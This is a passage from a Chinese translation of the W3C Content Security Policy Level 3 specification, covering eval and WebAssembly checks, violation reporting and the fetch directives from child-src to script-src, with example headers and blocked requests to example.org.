且 source-list 包含一个源表达式,该表达式与字符串 "'trusted-types-eval'
" ASCII 不区分大小写匹配, 则跳过以下步骤。 -
如果 source-list 包含一个源表达式,该表达式与字符串 "
'unsafe-eval'
" ASCII 不区分大小写匹配,则跳过以下步骤。 -
令 violation 为在 global、policy 和 "
script-src
" 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。 -
将 violation 的资源设置为 "
eval
"。 -
如果 source-list 包含表达式 "
'report-sample'
", 则将 violation 的样本设置为 sourceString 中包含其前 40 个字符的子字符串。 -
在 violation 上执行§ 5.5 报告违规。
-
如果 policy 的处置方式为 "
enforce
",则将 result 设置为 "Blocked
"。
-
-
-
如果 result 为 "
Blocked
",抛出EvalError
异常。
4.5. 与 WebAssembly 的集成
WebAssembly 定义了 HostEnsureCanCompileWasmBytes()
抽象操作,该操作允许主机环境阻止将 WebAssembly 源编译为可执行代码。本文档定义了该抽象操作的实现,该实现会检查相关的 CSP 列表,以确定是否应该阻止此类编译。
4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm
给定一个 realm
realm,如果允许编译,则此算法正常返回,否则抛出 WebAssembly.CompileError
:
-
令 global 为 realm 的全局对象。
-
令 result 为 "
Allowed
"。 -
-
令 source-list 为 null。
-
如果 policy 包含一个指令,其名称为 "
script-src
",则将 source-list 设置为该指令的值。否则,如果 policy 包含一个指令,其名称为 "
default-src
",则将 source-list 设置为该指令的值。 -
如果 source-list 非 null,且不包含与字符串 "
'unsafe-eval'
" ASCII 不区分大小写匹配的源表达式,也不包含与字符串 "'wasm-unsafe-eval'
" ASCII 不区分大小写匹配的源表达式,则:-
令 violation 为在 global、policy 和 "
script-src
" 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。 -
将 violation 的资源设置为 "
wasm-eval
"。 -
在 violation 上执行§ 5.5 报告违规。
-
如果 policy 的处置方式为 "
enforce
",则将 result 设置为 "Blocked
"。
-
-
-
如果 result 为 "
Blocked
",则抛出WebAssembly.CompileError
异常。
5. 报告
当一个或多个 策略的指令被违反时,可能会生成并发送一个 CSP 违规报告 到与该 策略关联的报告终端。
CSP 违规报告的 报告类型为 "csp-violation"。
CSP 违规报告对 ReportingObserver
可见。
[Exposed =Window ]interface :
CSPViolationReportBody ReportBody { [Default ]object ();
toJSON readonly attribute USVString ;
documentURL readonly attribute USVString ?;
referrer readonly attribute USVString ?;
blockedURL readonly attribute DOMString ;
effectiveDirective readonly attribute DOMString ;
originalPolicy readonly attribute USVString ?;
sourceFile readonly attribute DOMString ?;
sample readonly attribute SecurityPolicyViolationEventDisposition ;
disposition readonly attribute unsigned short ;
statusCode readonly attribute unsigned long ?;
lineNumber readonly attribute unsigned long ?; };
columnNumber
当影响类似脚本的目标的指令具有 report-sha256
、
report-sha384
或 report-sha512
值,并且获取了具有类似脚本的目标的请求时,将生成一个
csp 哈希报告并将其发送到与策略关联的报告端点。
csp 哈希报告对 ReportingObserver
不可见。
csp 哈希报告主体是一个包含以下字段的结构体:documentURL、subresourceURL、hash、destination、type。
Reporting-Endpoints: hashes-endpoint="https://example.com/reports" Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint
并且文档加载脚本 "main.js" 时,将发送类似以下的报告:
POST /reports HTTP / 1.1 Host : example.com ... Content-Type: application/reports+json [{ "type": "csp-hash", "age": 12, "url": "https://example.com/", "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0", "body": { "document_url": "https://example.com/", "subresource_url": "https://example.com/main.js", "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281", "type": "subresource", "destination": "script" } }]
5.1. 违规 DOM 事件
enum {
SecurityPolicyViolationEventDisposition ,
"enforce" }; [
"report" Exposed =(Window ,Worker )]interface :
SecurityPolicyViolationEvent Event {(
constructor DOMString ,
type optional SecurityPolicyViolationEventInit = {});
eventInitDict readonly attribute USVString ;
documentURI readonly attribute USVString ;
referrer readonly attribute USVString ;
blockedURI readonly attribute DOMString ;
effectiveDirective readonly attribute DOMString ; // historical alias of effectiveDirective
violatedDirective readonly attribute DOMString ;
originalPolicy readonly attribute USVString ;
sourceFile readonly attribute DOMString ;
sample readonly attribute SecurityPolicyViolationEventDisposition ;
disposition readonly attribute unsigned short ;
statusCode readonly attribute unsigned long ;
lineNumber readonly attribute unsigned long ; };
columnNumber dictionary :
SecurityPolicyViolationEventInit EventInit {USVString = "";
documentURI USVString = "";
referrer USVString = "";
blockedURI DOMString = "";
violatedDirective DOMString = "";
effectiveDirective DOMString = "";
originalPolicy USVString = "";
sourceFile DOMString = "";
sample SecurityPolicyViolationEventDisposition = "enforce";
disposition unsigned short = 0;
statusCode unsigned long = 0;
lineNumber unsigned long = 0; };
columnNumber
5.2. 获取违规resource的 blockedURI
给定违规的资源 resource,此算法返回一个字符串, 用作违规报告的阻止 URI 字段。
-
如果 resource 是一个 URL,则返回在 resource 上执行§ 5.4 为在报告中使用而剥离 URL的结果。
-
返回 resource。
5.3. 获取violation的已弃用序列化形式
给定一个violation
violation,该算法返回违规的 JSON 文本字符串表示形式,适合提交给与已弃用的report-uri
指令关联的报告端点。
-
让body是一个映射,其键初始化如下:
- "
document-uri
" -
在violation的url上执行§ 5.4 用于报告的 URL 剥离的结果。
- "
referrer
" -
在violation的referrer上执行§ 5.4 用于报告的 URL 剥离的结果。
- "
blocked-uri
" -
在violation的resource上执行§ 5.2 获取违规资源的 blockedURI的结果。
- "
effective-directive
" -
violation的有效指令
- "
violated-directive
" -
violation的有效指令
- "
original-policy
" - "
disposition
" - "
status-code
" -
violation的状态
- "
script-sample
" -
violation的样本
注意:
script-sample
的名称是为了兼容 Firefox 自其初始实现 CSP 时的早期版本而选择的。尽管名称如此,该字段也会包含非脚本违规的样本,比如样式表。通过新的report-to
指令生成的报告和SecurityPolicyViolationEvent
对象中的数据采用了更包容的命名方式:sample
。
- "
-
如果violation的源文件不是 null:
-
将body["
source-file
"] 设置为在violation的源文件上执行§ 5.4 用于报告的 URL 剥离的结果。 -
将body["
line-number
"] 设置为violation的行号。 -
将body["
column-number
"] 设置为violation的列号。
-
-
断言:如果body["
blocked-uri
"] 不是 "inline
",则body["sample
"] 为空字符串。 -
返回使用将 infra 值序列化为 JSON 字节给定 «[ "csp-report" → body ]» 的结果。
5.4. 用于报告的 URL 剥离
给定一个URL url,该算法返回一个用于违规报告的字符串形式的 URL:
-
如果url的scheme不是HTTP(S) scheme,则返回url的scheme。
-
将url的fragment设置为空字符串。
-
将url的username设置为空字符串。
-
将url的password设置为空字符串。
-
返回在url上执行URL 序列化器的结果。
5.5. 报告violation
给定一个violation
violation,该算法将其报告到violation的policy中指定的端点,并在violation的element,或如以下描述的violation的global
object上触发SecurityPolicyViolationEvent
。
-
令 global 为 violation 的 全局对象。
-
令 target 为 violation 的 元素。
-
排入一个任务来执行以下步骤:
注意:我们在此处“排入任务”以确保事件目标和分发在负责某个违规的任务的 JavaScript 执行完成后发生(该任务可能会操作 DOM)。
-
如果 target 不为 null,且 global 是一个
窗口对象(Window)
,并且 target 的 包含 shadow 的根不是 global 的 关联的文档(Document)
,则将 target 设为 null。注意:这样确保我们只在与 violation 的 策略的
文档
连接的元素上触发事件。如果违规是由不连接到该文档的元素引起的,我们会在文档而非元素上触发事件,以确保违规对文档的监听器可见。 -
如果 target 为 null:
-
将 target 设置为 violation 的全局对象。
-
如果 target 是一个
Window
, 则将 target 设置为 target 的关联的Document
。
-
-
如果 target 实现
EventTarget
接口, 则在 target 上触发一个名为securitypolicyviolation
的事件,该事件使用SecurityPolicyViolationEvent
接口,其属性初始化如下:documentURI
-
执行 § 5.4 用于报告的 URL 剥离,传入 violation 的 URL。
referrer
-
执行 § 5.4 用于报告的 URL 剥离,传入 violation 的 引用者。
blockedURI
-
执行 § 5.2 获取违规资源的 blockedURI,传入 violation 的 资源。
effectiveDirective
-
violation 的 有效指令
violatedDirective
-
violation 的 有效指令
originalPolicy
-
violation 的 CSP 序列化
disposition
-
violation 的 处置
sourceFile
-
执行 § 5.4 用于报告的 URL 剥离,传入 violation 的 源文件,如果 violation 的 源文件 不为 null,则返回 null。
statusCode
-
violation 的 状态码
lineNumber
-
violation 的 行号
columnNumber
-
violation 的 列号
sample
-
violation 的 示例
bubbles
-
true
composed
-
true
注意:我们设置了
composed
属性,这意味着该事件可以在其进入的过程中被捕获,并会从 shadow 树中冒泡。target
等将自动正确地作用于主树。注意:
effectiveDirective
和violatedDirective
都是相同的值。这是为了保持向后兼容性而故意这样设计的。 -
如果 violation 的策略的指令集包含一个名为“
report-uri
”的指令 directive:-
-
令 endpoint 为以 token 作为输入,violation 的url 作为基本 URL 执行URL 解析器的结果。
-
如果 endpoint 不是有效的 URL,则跳过其余子步骤。
-
令 request 为一个新的请求,初始化如下:
- 方法
-
"
POST
" - url
-
violation 的url
- 源
- 用户提示的可遍历性
-
"
no-traversable
" - 客户端
- 目标
-
"
report
" - 发起者
-
""
- 凭据模式
-
"
same-origin
" - keepalive
-
"
true
" - 标头列表
-
包含单个标头的标头列表,其名称为 "
Content-Type
",值为 "application/csp-report
" - 主体
-
在 violation 上执行§ 5.3 获取违规的已弃用序列化的结果
- 重定向模式
-
"
error
"
注意: request 的模式默认为 "
no-cors
";响应将被完全忽略。 -
获取 request。结果将被忽略。
-
注意:所有这些都应被视为已弃用。它为每个违规发送单个请求,这根本不具有可扩展性。一旦可以从用户代理中删除此行为,就会这样做。
注意:
report-uri
仅在report-to
不存在时生效。也就是说,后者会覆盖前者,从而允许向后兼容不支持新机制的浏览器。 -
如果 violation 的策略的指令集包含一个名为“
report-to
”的指令 directive:-
令 body 为一个新的
CSPViolationReportBody
,初始化如下:documentURL
-
执行 § 5.4 用于报告的 URL 剥离,传入 violation 的 URL。
referrer
-
执行 § 5.4 用于报告的 URL 剥离,传入 violation 的 引用者。
blockedURL
-
执行 § 5.2 获取违规资源的 blockedURI,传入 violation 的 资源。
effectiveDirective
-
violation 的 有效指令。
originalPolicy
-
violation 的 CSP 序列化。
sourceFile
-
执行 § 5.4 用于报告的 URL 剥离,传入 violation 的 源文件,如果 violation 的 源文件 不为 null,否则为 null。
sample
-
violation 的 示例。
disposition
-
violation 的 处置。
statusCode
-
violation 的 状态码。
lineNumber
columnNumber
-
生成并排队报告,参数如下:
- context
-
settings object
- type
-
"csp-violation"
- destination
-
directive 的值。
- data
-
body
-
-
6. 内容安全策略指令
本规范定义了一些类型的 指令,这些指令允许开发人员控制其网站行为的某些方面。本文档定义了用于管理资源抓取的指令(在 § 6.1 抓取指令 中)、用于管理文档状态的指令(在 § 6.3 文档指令 中)、用于管理导航方面的指令(在 § 6.4 导航指令 中)以及用于管理报告的指令(在 § 6.5 报告指令 中)。这些构成了内容安全策略的核心;其他指令以模块化的方式在附属文档中定义(参见 § 6.6 其他文档中定义的指令 的示例)。
为了降低跨站脚本攻击的风险,Web 开发人员应包含一些规定脚本和插件来源的指令。他们可以通过以下方式实现:
-
同时包含 script-src 和 object-src 指令,或者
-
包含 default-src 指令
无论哪种情况,开发人员都不应在其策略中包含 'unsafe-inline'
或 data:
作为有效来源。两者都允许直接在文档中包含代码,从而使 XSS 攻击得以实施,因此应尽量避免完全使用。
6.1. 抓取指令
抓取指令控制某些资源类型可以从何处加载。例如,script-src 允许开发人员信任的脚本来源在页面上执行,而 font-src 控制网页字体的来源。
6.1.1.
child-src
child-src
指令用于管理 子导航(例如
iframe
和
frame
导航)和 Worker 执行上下文的创建。该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "child-src" directive-value = serialized-source-list
此指令控制将填充帧或 worker 的 请求。更正式地说,它适用于以下类别的 请求:
-
目的地为 "
frame
"、"iframe
"、"object
" 或 "embed
"。 -
目的地为 "
serviceworker
"、"sharedworker
" 或 "worker
"(将传递给 运行 worker 的算法,分别用于ServiceWorker
、SharedWorker
和Worker
)。
Content-Security-Policy: child-src https://example.com/
对于以下代码的抓取请求将全部返回网络错误,因为提供的 URL 与 child-src
的 来源列表不匹配:
< iframe src = "https://example.org" ></ iframe > < script > var blockedWorker= new Worker( "data:application/javascript,..." ); </ script >
6.1.1.1. child-src
预请求检查
此指令的 预请求检查如下:
给定一个 请求 request 和一个 策略 policy:
-
执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name。
-
如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 name、
child-src
和 policy 为 "No
",则返回 "Allowed
"。 -
返回对名称为 name 的 指令,使用 预请求检查 并将 policy 和 request 作为参数的执行结果,比较时使用此指令的 值。
6.1.1.2. child-src
后请求检查
此指令的 后请求检查如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name。
-
如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 name、
child-src
和 policy 为 "No
",则返回 "Allowed
"。 -
返回对名称为 name 的 指令,使用 后请求检查 并将 policy、request 和 response 作为参数的执行结果,比较时使用此指令的 值。
6.1.2.
connect-src
connect-src
指令限制通过脚本接口加载的 URL。该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "connect-src" directive-value = serialized-source-list
此指令控制 请求,这些请求用于从其他源传输或接收数据。这包括 fetch()
、[XHR]、[EVENTSOURCE]、[BEACON] 以及
a
的
ping
属性。此外,此指令还控制 WebSocket 的 [WEBSOCKETS] 连接,尽管它们技术上不属于 Fetch。
EventSource
维持与服务器的开放 HTTP 连接,以接收推送通知,WebSockets
在浏览器和服务器之间打开双向通信通道,而 XMLHttpRequest
代表用户进行任意的 HTTP 请求。这些都是强大的
API,能够提供有用的功能,但同时也可能成为数据泄露的诱人途径。
connect-src
指令允许您确保这些和类似类型的连接仅能打开到您信任的源。发送一个为此指令定义源表达式列表的策略非常简单。例如,若要限制连接仅能到
https://example.com
,发送以下头部:
Content-Security-Policy: connect-src https://example.com/
以下代码的抓取请求将全部返回网络错误,因为提供的 URL 与 connect-src
的 来源列表不匹配:
< a ping = "https://example.org" > ...< script > var xhr= new XMLHttpRequest(); xhr. open( 'GET' , 'https://example.org/' ); xhr. send(); var ws= new WebSocket( "wss://example.org/" ); var es= new EventSource( "https://example.org/" ); navigator. sendBeacon( "https://example.org/" , { ... }); </ script >
6.1.2.1. connect-src
预请求检查
此指令的 预请求检查如下:
给定一个 请求 request 和一个 策略 policy:
-
执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name。
-
如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 name、
connect-src
和 policy 为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配来源列表? 的结果对 request、此指令的 值 和 policy 为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.2.2. connect-src
后请求检查
此指令的 后请求检查如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name。
-
如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 name、
connect-src
和 policy 为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.6 响应是否匹配来源列表? 的结果对 response、request、此指令的 值 和 policy 为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.3.
default-src
default-src
指令作为其他 抓取指令
的回退。该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "default-src" directive-value = serialized-source-list
如果策略中存在一个 default-src
指令,则其值将用作策略的默认来源列表。即,给定 default-src 'none'; script-src 'self'
,脚本请求将使用 'self'
作为 来源列表 来进行匹配。其他请求将使用
'none'
。在 § 4.1.2 Content
Security Policy 是否应阻止请求? 和 § 4.1.3 Content Security Policy 是否应阻止响应? 算法中对此进行了更详细的说明。
prefetch
和
preconnect
生成的请求不与任何特定的 抓取指令
绑定,而是由策略中所有指令的 来源列表
的并集管理。如果未指定 default-src,这些请求将始终被允许。更多信息请参阅 § 8.6
数据外泄。[HTML]
Content-Security-Policy: default-src 'self'
与以下头部具有相同的行为:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src-elem 'self'; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
也就是说,当设置了 default-src
时,所有未显式设置的 抓取指令 都将回退到 default-src
指定的值。
script-src
指令,那么
default-src
的值将不会影响脚本请求。也就是说,以下头部:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com
将与以下头部具有相同的行为:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; object-src 'self'; script-src-elem https://example.com; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
鉴于这种行为,为网站构建策略的一个好方法是从 default-src
设置为 'none'
开始,然后逐步构建一套仅允许特定页面所需资源类型的策略。
6.1.3.1.
default-src
预请求检查
该指令的 预请求检查 如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
default-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
返回执行 预请求检查 的结果,其 指令的 名称 为 name,对 request 和 policy 进行比较,使用该指令的 值 进行比较。
6.1.3.2.
default-src
后请求检查
该指令的 后请求检查 如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
default-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
返回执行 后请求检查 的结果,其 指令的 名称 为 name,对 request、response 和 policy 进行比较,使用该指令的 值 进行比较。
6.1.3.3.
default-src
内联检查
该指令的 内联检查 算法如下:
给定一个 元素
element,一个字符串 type,一个 策略
policy 和一个字符串 source:
-
将 name 设置为执行 § 6.8.2 获取内联检查的有效指令 对 type 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
default-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
否则,返回执行 内联检查 的结果,其 指令的 名称 为 name,对 element、type、policy 和 source 进行比较,使用该指令的 值 进行比较。
6.1.4.
font-src
font-src 指令限制可以加载字体资源的 URL。该指令名称和值的语法由以下 ABNF 描述:
directive-name = "font-src" directive-value = serialized-source-list
Content-Security-Policy: font-src https://example.com/
以下代码的获取将返回网络错误,因为提供的 URL 与 font-src
的源列表不匹配:
< style > @ font-face { font-family : "Example Font" ; src : url ( "https://example.org/font" ); } body { font-family : "Example Font" ; } </ style >
6.1.4.1.
font-src
预请求检查
该指令的 预请求检查 如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
font-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配来源列表? 对 request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.4.2.
font-src
请求后检查
该指令的 请求后检查 如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
font-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.6 请求的响应是否匹配来源列表? 对 response、request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.5.
frame-src
frame-src 指令限制可加载到 子导航 的 URL。该指令名称和值的语法由以下 ABNF 描述:
directive-name = "frame-src" directive-value = serialized-source-list
Content-Security-Policy: frame-src https://example.com/
以下代码的请求将返回网络错误,因为提供的 URL 与 frame-src
的 来源列表不匹配:
< iframe src = "https://example.org/" > </iframe >
6.1.5.1. frame-src
预请求检查
该指令的 预请求检查 如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
frame-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配来源列表? 对 request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.5.2. frame-src
请求后检查
该指令的 请求后检查 如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
frame-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.6 请求的响应是否匹配来源列表? 对 response、request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.6.
img-src
img-src 指令限制加载图像资源的 URL。该指令名称和值的语法由以下 ABNF 描述:
directive-name = "img-src" directive-value = serialized-source-list
该指令控制加载图像的 请求。更正式地说,这包括其 请求 的 目标 为 "image
" 的请求 [FETCH]。
Content-Security-Policy: img-src https://example.com/
以下代码的请求将返回网络错误,因为提供的 URL 与 img-src
的 来源列表不匹配:
< img src = "https://example.org/img" >
6.1.6.1. img-src
预请求检查
该指令的 预请求检查 如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
img-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配来源列表? 对 request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.6.2. img-src
请求后检查
该指令的 请求后检查 如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
img-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.6 请求的响应是否匹配来源列表? 对 response、request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.7.
manifest-src
manifest-src 指令限制从哪个 URL 加载应用程序清单 [APPMANIFEST]。该指令名称和值的语法由以下 ABNF 描述:
directive-name = "manifest-src" directive-value = serialized-source-list
Content-Security-Policy: manifest-src https://example.com/
以下代码的请求将返回网络错误,因为提供的 URL 与 manifest-src
的 来源列表不匹配:
< link rel = "manifest" href = "https://example.org/manifest" >
6.1.7.1. manifest-src
预请求检查
该指令的 预请求检查 如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
manifest-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配来源列表? 对 request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.7.2. manifest-src
请求后检查
该指令的 请求后检查 如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
manifest-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.6 请求的响应是否匹配来源列表? 对 response、request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.8.
media-src
media-src 指令限制从哪个 URL 加载视频、音频和相关的文本轨资源。该指令名称和值的语法由以下 ABNF 描述:
directive-name = "media-src" directive-value = serialized-source-list
Content-Security-Policy: media-src https://example.com/
以下代码的请求将返回网络错误,因为提供的 URL 与 media-src
的 来源列表不匹配:
< audio src = "https://example.org/audio" ></ audio > < video src = "https://example.org/video" > < track kind = "subtitles" src = "https://example.org/subtitles" > </ video >
6.1.8.1. media-src
预请求检查
该指令的 预请求检查 如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
media-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配来源列表? 对 request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.8.2. media-src
请求后检查
该指令的 请求后检查 如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
media-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.6 请求的响应是否匹配来源列表? 对 response、request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.9.
object-src
object-src 指令限制从哪个 URL 加载插件内容。该指令名称和值的语法由以下 ABNF 描述:
directive-name = "object-src" directive-value = serialized-source-list
Content-Security-Policy: object-src https://example.com/
以下代码的请求将返回网络错误,因为提供的 URL 与 object-src
的 来源列表不匹配:
< embed src = "https://example.org/flash" ></ embed > < object data = "https://example.org/flash" ></ object >
如果插件内容加载时没有关联的
URL(例如,object
元素缺少
data
属性,但基于指定的 type
加载一些默认插件),如果 object-src
的值为 'none'
,则必须阻止加载,否则允许加载。
注意: object-src
指令作用于任何由
object
或
embed
元素发起的请求。这包括前两者生成的 子导航项的请求(也包括导航)。即使数据在语义上等同于其他指令限制的内容,例如具有 text/html
MIME 类型的
object
元素,这也适用。
注意: 当插件资源直接导航到(即作为 插件在 导航项内,而不是通过
embed
或
object
作为嵌入的子资源),该资源随附的任何 策略都将应用于结果 Document
。例如,开发人员可以通过随响应一起提供策略
object-src 'none'
来阻止任意资源作为插件内容的执行。鉴于插件的强大功能(以及 Flash 等插件有时呈现的特殊安全模型),这可以减轻如 Rosetta Flash 等攻击向量的风险。
6.1.9.1. object-src
预请求检查
该指令的 预请求检查 如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
object-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配来源列表? 对 request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.9.2. object-src
请求后检查
该指令的 请求后检查 如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设置为执行 § 6.8.1 获取请求的有效指令 对 request 的结果。
-
如果执行 § 6.8.4 是否应执行提取指令 对 name、
object-src
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.2.6 请求的响应是否匹配来源列表? 对 response、request、该指令的 值 和 policy 的结果为 "
不匹配
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.10.
script-src
script-src
指令限制脚本可执行的位置。这不仅包括直接加载到
script
元素中的 URL,还包括内联脚本块和可触发脚本执行的 XSLT 样式表 [XSLT]。该指令名称和值的语法由以下 ABNF 描述:
directive-name = "script-src" directive-value = serialized-source-list
script-src
指令作为所有 类脚本目标的默认回退(包括 worker 特定的目标,如果没有 worker-src
)。除非需要细粒度控制,否则应该使用 script-src
而不是
script-src-attr
和 script-src-elem
,因为在大多数情况下,没有理由为内联事件处理程序和
script
元素维护单独的权限列表。
script-src
指令控制以下六个方面:
-
脚本 请求 必须通过 § 4.1.2 内容安全策略是否应阻止请求?。
-
脚本 响应 必须通过 § 4.1.3 内容安全策略是否应阻止请求的响应?。
-
内联
script
块必须通过 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为?。除非每个策略都允许内联脚本(要么隐式地没有指定script-src
或default-src
指令,要么显式地指定 "unsafe-inline
"、与内联块匹配的 nonce-source 或 hash-source),其行为将被阻止。 -
以下 JavaScript 执行接收器受“
unsafe-eval
”和“trusted-types-eval
”源表达式的限制:-
setTimeout()
的第一个参数不是可调用对象。 -
setInterval()
的第一个参数不是可调用对象。
注意: 如果用户代理实现了非标准接收器,例如
setImmediate()
或execScript()
,它们也应该基于 "unsafe-eval
" 进行控制。
注意: 由于 "unsafe-eval
" 充当全局页面标志,因此在执行此检查时不使用script-src-attr
和script-src-elem
,而是始终使用script-src
(或其回退指令)。 -
以下 WebAssembly 执行接收器基于 "
wasm-unsafe-eval
" 或 "unsafe-eval
" 源表达式进行控制:注意: "
wasm-unsafe-eval
" 源表达式是更具体的源表达式。特别是,"unsafe-eval
" 允许 WebAssembly 的编译(和实例化),同时也允许例如 JavaScript 中的 "eval
" 操作。"wasm-unsafe-eval
" 源表达式只允许 WebAssembly,并不影响 JavaScript。 -
导航到
javascript:
URL 必须通过 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为?。如上所述,只有每个策略都允许内联脚本时,这样的导航才会执行脚本。
6.1.10.1. script-src
预请求检查
此指令的 预请求检查如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设为执行 § 6.8.1 获取请求的有效指令 在 request 上的结果。
-
如果执行 § 6.8.4 是否应执行取指令 在 name、
script-src
和 policy 上的结果为 "No
",则返回 "Allowed
"。 -
返回执行 § 6.7.1.1 脚本指令预请求检查 在 request、该指令和 policy 上的结果。
6.1.10.2. script-src
后请求检查
此指令的 后请求检查如下:
给定一个请求 request,一个响应 response,以及一个策略 policy:
-
